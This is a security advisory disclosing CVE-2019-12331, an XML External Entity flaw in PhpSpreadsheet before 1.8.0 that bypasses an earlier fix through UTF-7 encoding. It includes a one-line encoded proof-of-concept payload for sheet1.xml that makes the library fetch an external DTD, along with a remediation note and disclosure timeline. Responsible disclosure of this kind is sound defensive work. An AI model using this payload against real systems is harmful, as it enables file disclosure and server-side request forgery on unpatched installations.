usd-2019-0046 | PhpSpreadsheet <1.8.0
Advisory ID: usd-2019-0046
CVE Number: CVE-2019-12331
Affected Product: PhpSpreadsheet
Affected Version: <1.8.0
Vulnerability Type: XML External Entity (XXE)
Security Risk: High
Vendor URL: https://phpspreadsheet.readthedocs.io/
Vendor Status: Fixed
The XmlScanner decodes the sheet1.xml from an .xlsx to utf-8 if something else than „UTF-8“ is declared in the header.
This was a security measurement to prevent CVE-2018-19277. But the fix is not sufficient. By double encode the xml payload to utf-7
it is possible to bypass the check for the string ‚<!ENTITY‘. Furthermore, even though the entity loader gets disabled by calling libxml_disable_entity_loader() before
the security check, which only uses regexp, it gets enabled again before the xml is parsed with simplexml_load_string().
This leads to an enabled entity loader while parsing the .xml, no matter which PHP version is used.
Even though this example uses Reader\Xlsx.php, all readers which directly feed the returned xml from the XmlScanner::load() method to simplexml_load_string()
should be vulnerable (xml, ods, html, gnumeric).
Proof of Concept (PoC)
Put the content into sheet1.xml and repack a .xlsx file:
+-ADwAIQ-DOCTYPE xmlrootname +-AFsAPAAh-ENTITY +-ACU aaa SYSTEM +-ACI-http://127.0.0.1:8080/ext.dtd+-ACIAPgAl-aaa+-ADsAJQ-ccc+-ADsAJQ-ddd+-ADsAXQA+-
When loading the .xlsx the library tries to load ext.dtd from http://127.0.0.1.8080.
Fix the call to libxml_disable_entity_loader() and set the encoding from the xml file after the encoding to the correct value.
- 2019-05-27 Daniel Hoffmann discovered the bug
- 2019-05-27 First contact attempt using firstname.lastname@example.org
- 2019-06-17 Second contact attempt using email@example.com
- 2019-06-17 Github Issue: https://github.com/PHPOffice/PhpSpreadsheet/issues/1014
- 2019-07-09 Vendor releases fix: https://github.com/PHPOffice/PhpSpreadsheet/commit/0e6238c69e863b58aeece61e48ea032696c6dccd
- 2019-10-21 First Published
This security vulnerability was found by Daniel Hoffmann of usd AG.
ABOUT usd SECURITY ADVISORIES
In order to protect businesses against hackers and criminals, we always have to keep our skills and knowledge up to date. Thus, security research is just as important for our work as is building up a security community to promote the exchange of knowledge. After all, more security can only be achieved if many individuals take on the task.
Our CST Academy and our usd HeroLab are essential parts of our security mission. We share the knowledge we gain in our practical work and our research through training courses and publications. In this context, the usd HeroLab publishes a series of papers on new vulnerabilities and current security issues.
Always for the sake of our mission: „more security.“
In accordance with usd AG’s Responsible Disclosure Policy, all vendors have been notified of the existence of these vulnerabilities.
The information provided in this security advisory is provided „as is“ and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible.